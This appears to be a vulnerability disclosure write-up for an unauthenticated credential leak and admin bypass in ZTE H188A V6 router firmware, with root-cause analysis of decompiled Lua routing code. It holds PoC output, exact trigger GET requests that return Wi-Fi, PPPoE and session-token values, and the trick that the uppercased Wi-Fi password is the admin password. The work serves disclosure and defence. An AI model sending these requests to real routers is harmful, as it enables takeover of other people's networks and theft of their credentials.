PS> python .\poc\extract_wizard_credentials.py --target 192.168.1.1
[+] wizard endpoint reachable without authentication
[+] ssid ............... [REDACTED]
[+] wifi_password ...... [REDACTED]
[+] admin_password ..... WIFI_PASSWORD.UPPER()
[+] pppoe_username ..... [REDACTED]
[+] result ............. admin login secret recovered
Executive Summary
The observed exploit path leverages a routing failure across the pre-login wizard path. Unauthenticated requests to the root path can ask the pre-login wizard layer for WLAN and PPPoE data without ever presenting credentials. The routing layer itself trusts query-supplied _type and _tag values when the URL path is empty, meaning an attacker can bypass the normal quick-setup routing gate and land directly in credential-bearing tedataNotLogin data handlers.
Root Cause
Root-path requests can override router selection with _type and select a handler with _tag. The QuickSetupEnable check only runs in the fallback path used when _type is absent.
Exploit Path
- Send a request to
/?_type=tedataNotLoginData&_tag=wizard_lua.lua.... - The router accepts the attacker-supplied router type and tag for an empty URL path.
- The unauthenticated wizard manager loads the requested wizard data file.
- Credential-bearing actions such as
getPassword,wlan_get, andppp_getreturn data without login. - For this router, the leaked Wi-Fi password becomes the default administrator password when uppercased.
- The attacker can then log into the router as an authorized administrator.
Key Takeaway
Authentication is entirely bypassed because the routing logic trusts query parameters over the URL path. One unauthenticated GET request is enough to pull the keys to the entire management interface.
Trigger Requests
Observed unauthenticated requests used during local validation.
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=getPassword&BAND=5GHz&PASSTYPE=PSK
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=wlan_get&BAND=5GHz
GET /?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=ppp_get
Representative JSON fields returned during validation:
- KeyPassphrase
- ESSID
- UserName
- _sessionTOKEN
The screenshots and PoC material in this directory are consistent with the decompiled explanation in Tedata_notLogin_wizard_page_manage.lua: the request never needs to pass through the authenticated admin flow first.
Affected Devices
This writeup is strictly scoped to the locally validated H188A V6 branch (V6.0.10P2_TE and V6.0.10P3N3_TE) cited in the public CVE record. However, given the architectural nature of the routing bypass in router_logic_impl.lua, it is highly probable that other branches sharing this web stack are affected. I invite the community to validate this exposure against later firmware revisions.
PoC Snapshot
A simple PoC run shows the exploit path more clearly than another overview screenshot: the unauthenticated wizard request returns the Wi-Fi credential, and that value becomes the default admin password once uppercased.
Impact
Admin bypass: on the H188A V6 path I validated, the Wi-Fi password returned by getPassword becomes the default administrator password when uppercased. The leak is the login secret.
Credential exposure: the same pre-login request family also discloses WLAN and PPPoE values, which expands the impact beyond the router panel itself.
Exposure scale: at the time of the original report, roughly 500 publicly exposed H188A router interfaces were reachable on the internet.
Control path: once the attacker has the admin password, the web interface stops being a read-only leak and becomes a full authenticated management surface.
Root Cause Analysis
The extracted web stack shows a routing and authorization failure across the pre-login wizard path, not just one noisy endpoint. The local proof captures show the disclosure behavior; the decompiled logic explains why those responses exist and why the same path is broader than a single credential leak. Four details matter:
1. Query-driven router selection
When the request path is empty, the router logic accepts attacker-supplied _type and _tag parameters directly. That means the request can choose tedataNotLoginData instead of letting the normal URL-path resolver pick the route.
2. QuickSetupEnable gate in the wrong place
The QuickSetupEnable check lives in the URL-path-to-router conversion path and only fires when _type is missing. If the attacker supplies _type, the gate is skipped instead of re-applied later.
3. Pre-login data loader trusts the chosen tag
The tedataNotLogin data manager only checks whether the requester is already logged in. If not, it constructs a file path inside wizard_page_deps and loads the requested wizard data file.
4. Wizard handlers expose both reads and writes
The local validation used read-style actions like getPassword, wlan_get, and ppp_get. The decompiled handler family also includes mutating branches that call cmapi.setinst, which is why the underlying defect is broader than a pure disclosure bug.
Tools Used
The working set combined live validation, PoC automation, and decompilation-backed inspection. The main tools used across that path were:
Browser DevToolsand direct browser requests for local wizard endpoint validation.PythonPoC material for repeated extraction of wizard data across the test set.- Decompilation-backed analysis from the private local research workspace used to map the routing and handler chain.
Where the Bug Happens in Code
The three most important code points are the route override, the misplaced quick-setup gate, and the unauthenticated wizard data loader. I am showing only the minimum lines needed to explain the vulnerable chain.
_type and _tag.
function RouterLogicClass:__URL2RouterType(urlPath, queryTable)
local routerType, resourceTag
if #urlPath == 0 then
routerType = queryTable._type
if not routerType then
routerType, resourceTag = self:__URLPath2RouterType(urlPath)
else
resourceTag = queryTable._tag
end
QuickSetupEnable decision is only applied in the fallback path.
local QuickSetupEnable = "0"
local QuiSetupTable = _G.cmapi.getinst("OBJ_WEB_QUICKSETUP_ID", "IGD")
if QuiSetupTable.IF_ERRORID == 0 then
QuickSetupEnable = QuiSetupTable.QuickSetupEnable
end
if QuickSetupEnable == "1" then
return "tedataNotLogin", nil
end
function WizardPageMgrClass.getDataFiles(routerType, resourceTag)
g_logger:debug("routerType=" .. routerType)
if usermgr:isLogined() then
return false
end
UpdateCurrentSess()
local file = ""
file = "../page_mgr/wizard_page_deps/" .. resourceTag
return true, {
{file = file}
}, nil
cmapi.setinst.
if FP_ACTION == "Apply" then
while cgilua.POST["_InstID_" .. index] do
t_Data = {}
for j, k in pairs(WLANSETTING_PARA) do
t_Data[k] = cgilua.POST[k .. "_" .. index]
end
tError = cmapi.setinst(WLANSETTING_OBJNAME, cgilua.POST["_InstID_" .. index], t_Data)
if tError.IF_ERRORID ~= 0 then
break
end
Vendor Position
ZTE PSIRT's February 2, 2026 response characterized this issue as a customer-specific requirement with low risk and stated that it did not plan to assign a CVE. That position does not line up with the practical impact shown by the local captures or with the decompiled route-to-handler chain.
Patch status as of May 18, 2026: no public ZTE advisory or fixed firmware release was visible in the public record for CVE-2026-34472. The public trail still consists of the CVE/NVD entries and disclosure references.
Sources
Primary external references used to anchor the public record for the issue and disclosure timeline.